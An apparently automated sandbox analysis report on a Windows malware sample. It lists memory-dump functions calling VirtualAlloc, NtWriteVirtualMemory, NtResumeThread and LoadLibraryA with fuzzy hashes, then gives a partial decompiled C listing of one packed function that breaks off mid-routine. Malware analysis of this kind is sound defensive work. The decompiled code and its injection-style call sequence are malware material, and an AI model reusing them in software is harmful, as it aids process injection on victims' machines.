Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cae1315abae8953277c7ef5853c0cc03768662b10752876abb2f3e7ffd897866
Instruction ID: 318b576931b015c476b935da461665d1989709f37aed124a5d0e81f25778f0bc
Opcode Fuzzy Hash: cae1315abae8953277c7ef5853c0cc03768662b10752876abb2f3e7ffd897866
Instruction Fuzzy Hash: 7BB1DF62B297000BC76A54BE589085AD0C3CFEB210239E63E682DF37A4FE7D8D0B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404E8E, Relevance: 1.7, APIs: 1, Instructions: 462memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: cbc26a7446484ffd3c61bab2eb756edb8be920699b421524a5d64f69692f80df
Instruction ID: ab26b35e065e6ddde2c9e228a73c34452da158f49f961c6ffd747ef2305204a2
Opcode Fuzzy Hash: cbc26a7446484ffd3c61bab2eb756edb8be920699b421524a5d64f69692f80df
Instruction Fuzzy Hash: 4091AD62F2A7000B876A54BE5490867D0C3DFEB250239E63E682DF37A4FE7D8D4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404F07, Relevance: 1.7, APIs: 1, Instructions: 429memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 1968fe5537d5a665c67bb91a2dda49aabb485548bdbb872d2d81ce6a16c21650
Instruction ID: ac622280d7e8f0ecd51d39753b20d2007e03630bcda3b77347e0450ec67e2640
Opcode Fuzzy Hash: 1968fe5537d5a665c67bb91a2dda49aabb485548bdbb872d2d81ce6a16c21650
Instruction Fuzzy Hash: A891BE62B297000B876A54BE5890867D0C3DFEB250239E63E682DF37A4FE7DCD4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 022A5295, Relevance: 1.6, APIs: 1, Instructions: 149nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?,?,?,?,000000C0,?,?,-00000002,?,022A0327,00000000), ref: 022A5611

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b63d092ca3e7babc2562edc51503515d89dd3854ec948fa76032955d1bb130cc
Instruction ID: 45688b846bed684c7ad4c5f7d007abc5ad3d16114fe48992f5895dd8de093a5b
Opcode Fuzzy Hash: b63d092ca3e7babc2562edc51503515d89dd3854ec948fa76032955d1bb130cc
Instruction Fuzzy Hash: B4412A135E05214FD7598968B43A7EA37629F51B22FE41B2DC8459BC76CB2381E4CEC3

Uniqueness

Uniqueness Score: -1.00%

Function 022A5336, Relevance: 1.6, APIs: 1, Instructions: 147nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?,?,?,?,000000C0,?,?,-00000002,?,022A0327,00000000), ref: 022A5611

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 46fbebf6b4676ff4e8e2c2eccab22ddf54fd08c2e842391d2c91611a0af1076c
Instruction ID: 2c7be02d16b0822a744ad033243dcd8bc9cd41e404e31faf2f23a79321b762ed
Opcode Fuzzy Hash: 46fbebf6b4676ff4e8e2c2eccab22ddf54fd08c2e842391d2c91611a0af1076c
Instruction Fuzzy Hash: CA410A135E05214FE7598968B43A7EA37629F51B22FE41B2DC8459BC76CB2381E4CEC3

Uniqueness

Uniqueness Score: -1.00%

Function 022A1A95, Relevance: 1.6, APIs: 1, Instructions: 140libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,022A468D,022A0381,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 022A4019

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: da5a34df325ef83c429f56f0f3b0c31d334882f91545536b30725bf2bd003d8b
Instruction ID: bc74b41156cb66df6c5d74242e1f87e69b1ef335b30747861a3b812e0707f587
Opcode Fuzzy Hash: da5a34df325ef83c429f56f0f3b0c31d334882f91545536b30725bf2bd003d8b
Instruction Fuzzy Hash: CD412570660341EFEB246FE48D68BEA73A6AF017A1F644155FD458B4D9C7B4CC88CE22

Uniqueness

Uniqueness Score: -1.00%

Function 022A53F2, Relevance: 1.6, APIs: 1, Instructions: 136nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?,?,?,?,000000C0,?,?,-00000002,?,022A0327,00000000), ref: 022A5611

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: bae35c811f53ed3697e97a695036fe453d0fa6ffd0d9b2360a607a8e05652d74
Instruction ID: 09ca0e0dc92b7f413222ea517e2eb568795fa98424720c19ab0df126359cced7
Opcode Fuzzy Hash: bae35c811f53ed3697e97a695036fe453d0fa6ffd0d9b2360a607a8e05652d74
Instruction Fuzzy Hash: CE41D7235E05214FDB594968B42A7EA37629F51B22FE41F2DC8449BC76CB2381E4CED3

Uniqueness

Uniqueness Score: -1.00%

Function 00404FDE, Relevance: 1.6, APIs: 1, Instructions: 379memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6bd6c0d6ab3a21170c8dc63f706a9be8657a4d1c6991e2892fd74e29458878af
Instruction ID: ae2888414532d40e5573ef6d54da85d95006bd852c28dc6aef1714e42762032a
Opcode Fuzzy Hash: 6bd6c0d6ab3a21170c8dc63f706a9be8657a4d1c6991e2892fd74e29458878af
Instruction Fuzzy Hash: 9871AD62F297000B876A54BE5490867D0C7DFEF250239E63E682DF37A4FE798D4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 00404F6D, Relevance: 1.6, APIs: 1, Instructions: 367memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d307c06d725f4d43ced27e008d4d58ad4a9afd21d99b05e9c27b2ea3dd32fc5a
Instruction ID: 6a68923b7fe6d8d060094f094a19ce03834222abd6f6c166b730cb9672fb88e4
Opcode Fuzzy Hash: d307c06d725f4d43ced27e008d4d58ad4a9afd21d99b05e9c27b2ea3dd32fc5a
Instruction Fuzzy Hash: C081AE62F297004B876A54BE549082AD0C7DFEB250239E63E682DF37A4FE7D8D4B1548

Uniqueness

Uniqueness Score: -1.00%

Function 022A528C, Relevance: 1.6, APIs: 1, Instructions: 100nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?,?,?,?,000000C0,?,?,-00000002,?,022A0327,00000000), ref: 022A5611

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a7282baef908a1f9f9ae9e12d20231289493f290f747a74f27d265f09e5de45c
Instruction ID: 5c9e9292557cf22128173e0f53ea51965224b701848ed517cda53ebf831209e7
Opcode Fuzzy Hash: a7282baef908a1f9f9ae9e12d20231289493f290f747a74f27d265f09e5de45c
Instruction Fuzzy Hash: 37310B32E20B068FFF255AA8C5743AB73629F45324FE84529D9428A9ECD3B484E4CF41

Uniqueness

Uniqueness Score: -1.00%

Function 022A22BC, Relevance: 1.6, APIs: 1, Instructions: 97nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 022A236A

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 62badd6654eea2603e3c00711322e11dc5e93a84b6e59fa56c528e40fa8898a5
Instruction ID: 293646878df6fb7d952a8f8b214c86a7264ebee4d74775fff8a460e80929c8c7
Opcode Fuzzy Hash: 62badd6654eea2603e3c00711322e11dc5e93a84b6e59fa56c528e40fa8898a5
Instruction Fuzzy Hash: 122105274D00245FC6959D64BC66BEA3A22DF55B12FA01F2DDC889BC33CE1385E889D3

Uniqueness

Uniqueness Score: -1.00%

Function 022A29E9, Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(?,?,?,022A0DA9,00000000,00000000,00000000,00000000,00000050,0000033D,?,022A285D,?,?,00000004), ref: 022A30F0

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 748d1b5f66fef525956c782fc659409c27f8031825fc7583aae30fa451cab3ff
Instruction ID: 94306687073534078d9f680d657b622fb856a312660ef7b38c3de148f7da04f9
Opcode Fuzzy Hash: 748d1b5f66fef525956c782fc659409c27f8031825fc7583aae30fa451cab3ff
Instruction Fuzzy Hash: 920129170E42700A41469534382BAE63F229962F27BA45F9DC4849BC378D03D6D9D9D3

Uniqueness

Uniqueness Score: -1.00%

Function 004050B5, Relevance: 1.6, APIs: 1, Instructions: 306memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fa205dcba5bdc21ca273060f7e065756fe2302f31e505ef865c699759fa282ed
Instruction ID: b4d22b4a150895171997a3e7af911d1e161dbb20ccb032d63841b978be926ce1
Opcode Fuzzy Hash: fa205dcba5bdc21ca273060f7e065756fe2302f31e505ef865c699759fa282ed
Instruction Fuzzy Hash: 3561BE62F297000B875A547E5480826E1C7DFEF250339A63E682DF37A5FEB9CD4B1948

Uniqueness

Uniqueness Score: -1.00%

Function 00405123, Relevance: 1.5, APIs: 1, Instructions: 291memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c16fbde297f5d25dbdfa6e5b6cacdfccef2953a8174ec2e41803be7fbf2100c2
Instruction ID: a84af26c86879aff10189e9f68e5346cb07073450a50eb6908aae457021e683b
Opcode Fuzzy Hash: c16fbde297f5d25dbdfa6e5b6cacdfccef2953a8174ec2e41803be7fbf2100c2
Instruction Fuzzy Hash: E451BD61F29B000B875A547E5890927D0C3DFEF210339A63E682DF37A4FEB9CD4A1948

Uniqueness

Uniqueness Score: -1.00%

Function 022A3F21, Relevance: 1.5, APIs: 1, Instructions: 37libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,8802EDAC,?,022A468D,022A0381,2D9CC76C,DFCB8F12,27AA3188,F21FD920,3E17ADE6,7F21185B,A7C53F01,B314751D,00000000,00000000), ref: 022A4019

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f8a5e92eb3dd31f5b999637dae43cdac2ee364bd3e2323950b158550109161ce
Instruction ID: f661bce1c259341533803abcfb06c4b3f8416b931c426002d7c57a8cdc13dadd
Opcode Fuzzy Hash: f8a5e92eb3dd31f5b999637dae43cdac2ee364bd3e2323950b158550109161ce
Instruction Fuzzy Hash: F7F0A781470306BBDE243AE06E24BFB11658F417B2F604119FD6196989C7E9C44EDD62

Uniqueness

Uniqueness Score: -1.00%

Function 004051EE, Relevance: 1.5, APIs: 1, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9c4e05e5e080ba18ae33d877013245b1d615ca7f6b41faa636a6686d28647f30
Instruction ID: b0ec5fe00f37d99986737bf0f878664225718322f3d026a3c368a97f4541ab05
Opcode Fuzzy Hash: 9c4e05e5e080ba18ae33d877013245b1d615ca7f6b41faa636a6686d28647f30
Instruction Fuzzy Hash: 9851DE22F297100B875A447E5480827E1C3DFEF251239A63E682DF37A5FEB9CD4A0948

Uniqueness

Uniqueness Score: -1.00%

Function 022A4E08, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,022A4A52,00000040), ref: 022A4E24

Memory Dump Source

Source File: 00000000.00000002.783116967.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8519a3903ae4d83c869d0dc7784aa3ff70c99c851438e8928a0293bb3a9121de
Instruction ID: aedfaf57d8b54f5c4bfe7d7b9e22a3483797c1fece742bd909d6108b64ef3e35
Opcode Fuzzy Hash: 8519a3903ae4d83c869d0dc7784aa3ff70c99c851438e8928a0293bb3a9121de
Instruction Fuzzy Hash: 70C012E01140002E6404C928CD44C27726AC7D4628B10C32CB872622CCD530DC048031

Uniqueness

Uniqueness Score: -1.00%

Function 00405190, Relevance: 1.5, APIs: 1, Instructions: 263memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000A000,FFFF9E46,FFFFFC61), ref: 00405239

Memory Dump Source

Source File: 00000000.00000002.782891180.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.782883111.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.782929771.0000000000413000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.782935706.0000000000414000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 973c70cc915927c749ecee653314fe5cd37f14c5997b5cbb583c95f2f74fab06
Instruction ID: 3a6d1a5c4bfcb706aa593424a10597a81706ec36fc42490621d075c684ed1961
Opcode Fuzzy Hash: 973c70cc915927c749ecee653314fe5cd37f14c5997b5cbb583c95f2f74fab06
Instruction Fuzzy Hash: 8051BC65F297000B875A54BE5890827D1C3DFEF210339A63E682DF37A5FEB8CD4A0948

Uniqueness

Uniqueness Score: -1.00%

Function 0040F534, Relevance: 235.9, APIs: 127, Strings: 7, Instructions: 1429
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E0040F534(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				void* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v52;
				signed int _v64;
				char _v68;
				short _v72;
				char _v76;
				signed int _v80;
				char _v84;
				char _v88;
				signed int _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v124;
				intOrPtr _v132;
				char _v140;
				intOrPtr _v148;
				char _v156;
				intOrPtr _v164;
				char _v172;
				char* _v180;
				char _v188;
				char* _v196;
				char _v204;
				signed int _v212;
				char _v220;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				signed int _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v280;
				signed int _v284;
				signed int _v288;
				void* _v292;
				signed int _v296;
				signed int _v300;
				signed int _v304;
				signed int _v308;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				intOrPtr* _v324;
				signed int _v328;
				char _v344;
				char _v360;
				signed int _v384;
				signed int _v388;
				char* _v392;
				intOrPtr* _v396;
				signed int _v400;
				intOrPtr* _v404;
				intOrPtr* _v408;
				signed int _v412;
				signed int _v416;
				intOrPtr* _v420;
				signed int _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				intOrPtr* _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				intOrPtr* _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				intOrPtr* _v488;
				signed int _v492;
				intOrPtr* _v496;
				signed int _v500;
				intOrPtr* _v504;
				signed int _v508;
				intOrPtr* _v512;
				signed int _v516;
				intOrPtr* _v520;
				signed int _v524;
				signed int _v528;
				intOrPtr* _v532;
				signed int _v536;
				intOrPtr* _v540;
				signed int _v544;
				signed int _v548;
				intOrPtr* _v552;
				signed int _v556;
				intOrPtr* _v560;
				signed int _v564;
				intOrPtr* _v568;
				signed int _v572;
				signed int _v576;
				signed int _v580;
				signed int _v584;
				intOrPtr* _v588;
				signed int _v592;
				signed int _v596;
				signed int _v600;
				signed int _t709;
				signed int _t715;
				signed int* _t719;
				signed int _t723;
				signed int _t727;
				signed int _t731;
				signed int _t733;
				signed int _t741;
				signed int _t745;
				signed int* _t749;
				signed int _t753;
				signed int _t769;
				signed int _t773;
				signed int* _t777;
				signed int _t781;
				signed int _t785;
				signed int _t789;
				signed int _t793;
				signed int _t797;
				signed int _t801;
				signed int _t805;
				char* _t809;
				signed int _t813;
				signed int _t836;
				signed int _t840;
				signed int* _t844;
				signed int _t848;
				signed int _t852;
				signed int _t856;
				signed int _t860;
				signed int _t864;
				signed int _t871;
				signed int _t881;
				signed int _t885;
				signed int* _t889;
				signed int _t893;
				signed int _t898;
				signed int _t904;
				signed int _t908;
				char* _t913;
				signed int _t917;
				signed int _t921;
				signed int _t925;
				char* _t931;
				signed int _t935;
				signed int _t944;
				signed int _t945;
				signed int _t950;
				signed int _t956;
				signed int _t962;
				char* _t964;
				signed int _t967;
				char* _t975;
				signed int _t991;
				signed int _t995;
				intOrPtr _t999;
				signed int* _t1020;
				void* _t1097;
				void* _t1099;
				intOrPtr _t1100;
				void* _t1101;
				void* _t1103;
				void* _t1104;
				void* _t1106;
				void* _t1107;
				void* _t1108;
				void* _t1110;
				void* _t1111;

				_t1100 = _t1099 - 0x18;
				 *[fs:0x0] = _t1100;
				L00401270();
				_v28 = _t1100;
				_v24 = 0x401128;
				_v20 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				_v16 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401276, _t1097);
				_v8 = 1;
				_v8 = 2;
				if( *0x413010 != 0) {
					_v396 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v396 = 0x413010;
				}
				_t999 =  *((intOrPtr*)( *_v396));
				_t709 =  &_v88;
				L00401408();
				_v284 = _t709;
				_v212 = 0x80020004;
				_v220 = 0xa;
				_v196 = 0x80020004;
				_v204 = 0xa;
				_v180 = 0x80020004;
				_v188 = 0xa;
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v68 =  *0x4011e0;
				_t715 =  *((intOrPtr*)( *_v284 + 0x1e4))(_v284, _t999, 0x10, 0x10, 0x10, _t709,  *((intOrPtr*)(_t999 + 0x33c))( *_v396));
				asm("fclex");
				_v288 = _t715;
				if(_v288 >= 0) {
					_v400 = _v400 & 0x00000000;
				} else {
					_push(0x1e4);
					_push(0x40d698);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v400 = _t715;
				}
				L004013F6();
				_v8 = 3;
				if( *0x413010 != 0) {
					_v404 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v404 = 0x413010;
				}
				_push( *((intOrPtr*)( *((intOrPtr*)( *_v404)) + 0x380))( *_v404));
				_t719 =  &_v92;
				_push(_t719);
				L00401408();
				_v292 = _t719;
				_v180 = 0x80020004;
				_v188 = 0xa;
				if( *0x413010 != 0) {
					_v408 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v408 = 0x413010;
				}
				_t723 =  &_v88;
				L00401408();
				_v284 = _t723;
				_t727 =  *((intOrPtr*)( *_v284 + 0x48))(_v284,  &_v80, _t723,  *((intOrPtr*)( *((intOrPtr*)( *_v408)) + 0x2fc))( *_v408));
				asm("fclex");
				_v288 = _t727;
				if(_v288 >= 0) {
					_v412 = _v412 & 0x00000000;
				} else {
					_push(0x48);
					_push(0x40d698);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v412 = _t727;
				}
				L00401270();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t731 =  *((intOrPtr*)( *_v292 + 0x1ec))(_v292, _v80, 0x10);
				asm("fclex");
				_v296 = _t731;
				if(_v296 >= 0) {
					_v416 = _v416 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40d6a8);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v416 = _t731;
				}
				L004013F0();
				_push( &_v92);
				_t733 =  &_v88;
				_push(_t733);
				_push(2);
				L004013EA();
				_t1101 = _t1100 + 0xc;
				_v8 = 4;
				_push(0x40d6bc);
				_push(0x40d6c4);
				L004013DE();
				L004013E4();
				_push(_t733);
				_push(0x40d6cc);
				L004013DE();
				L004013E4();
				L004013F0();
				_v8 = 5;
				_push(2);
				_push(_v68);
				L004013D2();
				L004013E4();
				_push(_t733);
				_push(0x40d6cc);
				L004013D8();
				asm("sbb eax, eax");
				_v284 =  ~( ~( ~_t733));
				L004013F0();
				if(_v284 != 0) {
					_v8 = 6;
					if( *0x41331c != 0) {
						_v420 = 0x41331c;
					} else {
						_push(0x41331c);
						_push(0x40d6f0);
						L00401402();
						_v420 = 0x41331c;
					}
					_v284 =  *_v420;
					_t991 =  *((intOrPtr*)( *_v284 + 0x1c))(_v284,  &_v88);
					asm("fclex");
					_v288 = _t991;
					if(_v288 >= 0) {
						_v424 = _v424 & 0x00000000;
					} else {
						_push(0x1c);
						_push(0x40d6e0);
						_push(_v284);
						_push(_v288);
						L004013FC();
						_v424 = _t991;
					}
					_v292 = _v88;
					_t995 =  *((intOrPtr*)( *_v292 + 0x50))(_v292);
					asm("fclex");
					_v296 = _t995;
					if(_v296 >= 0) {
						_v428 = _v428 & 0x00000000;
					} else {
						_push(0x50);
						_push(0x40d700);
						_push(_v292);
						_push(_v296);
						L004013FC();
						_v428 = _t995;
					}
					L004013F6();
				}
				_v8 = 8;
				if( *0x413010 != 0) {
					_v432 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v432 = 0x413010;
				}
				_t741 =  &_v88;
				L00401408();
				_v284 = _t741;
				_t745 =  *((intOrPtr*)( *_v284 + 0x68))(_v284,  &_v256, _t741,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x378))( *_v432));
				asm("fclex");
				_v288 = _t745;
				if(_v288 >= 0) {
					_v436 = _v436 & 0x00000000;
				} else {
					_push(0x68);
					_push(0x40d744);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v436 = _t745;
				}
				if( *0x413010 != 0) {
					_v440 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v440 = 0x413010;
				}
				_t749 =  &_v92;
				L00401408();
				_v292 = _t749;
				_t753 =  *((intOrPtr*)( *_v292 + 0xa8))(_v292,  &_v240, _t749,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x330))( *_v440));
				asm("fclex");
				_v296 = _t753;
				if(_v296 >= 0) {
					_v444 = _v444 & 0x00000000;
				} else {
					_push(0xa8);
					_push(0x40d770);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v444 = _t753;
				}
				_v260 = 0xe5877;
				L004013CC();
				_t1020 =  &_v80;
				L004013CC();
				_v212 =  *0x4011d8;
				 *((intOrPtr*)( *_a4 + 0x708))(_a4, L"SLDEHUNDS",  &_v80, _v256,  &_v84, _t1020, _t1020,  &_v260, 0x3792af00, 0x5af4, _v240,  &_v244);
				_v72 = _v244;
				_push( &_v84);
				_push( &_v80);
				_push(2);
				L004013C6();
				_push( &_v92);
				_push( &_v88);
				_push(2);
				L004013EA();
				_t1103 = _t1101 + 0x18;
				_v8 = 9;
				if( *0x413010 != 0) {
					_v448 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v448 = 0x413010;
				}
				_t769 =  &_v88;
				L00401408();
				_v284 = _t769;
				_t773 =  *((intOrPtr*)( *_v284 + 0xd8))(_v284,  &_v240, _t769,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x310))( *_v448));
				asm("fclex");
				_v288 = _t773;
				if(_v288 >= 0) {
					_v452 = _v452 & 0x00000000;
				} else {
					_push(0xd8);
					_push(0x40d780);
					_push(_v284);
					_push(_v288);
					L004013FC();
					_v452 = _t773;
				}
				if( *0x413010 != 0) {
					_v456 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v456 = 0x413010;
				}
				_t777 =  &_v92;
				L00401408();
				_v292 = _t777;
				_t781 =  *((intOrPtr*)( *_v292 + 0xa0))(_v292,  &_v244, _t777,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x39c))( *_v456));
				asm("fclex");
				_v296 = _t781;
				if(_v296 >= 0) {
					_v460 = _v460 & 0x00000000;
				} else {
					_push(0xa0);
					_push(0x40d790);
					_push(_v292);
					_push(_v296);
					L004013FC();
					_v460 = _t781;
				}
				if( *0x413010 != 0) {
					_v464 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v464 = 0x413010;
				}
				_t785 =  &_v96;
				L00401408();
				_v300 = _t785;
				_t789 =  *((intOrPtr*)( *_v300 + 0xf0))(_v300,  &_v256, _t785,  *((intOrPtr*)( *((intOrPtr*)( *_v464)) + 0x354))( *_v464));
				asm("fclex");
				_v304 = _t789;
				if(_v304 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0xf0);
					_push(0x40d7a0);
					_push(_v300);
					_push(_v304);
					L004013FC();
					_v468 = _t789;
				}
				if( *0x413010 != 0) {
					_v472 = 0x413010;
				} else {
					_push(0x413010);
					_push(0x40dbcc);
					L00401402();
					_v472 = 0x413010;
				}
				_t793 =  &_v100;
				L00401408();
				_v308 = _t793;
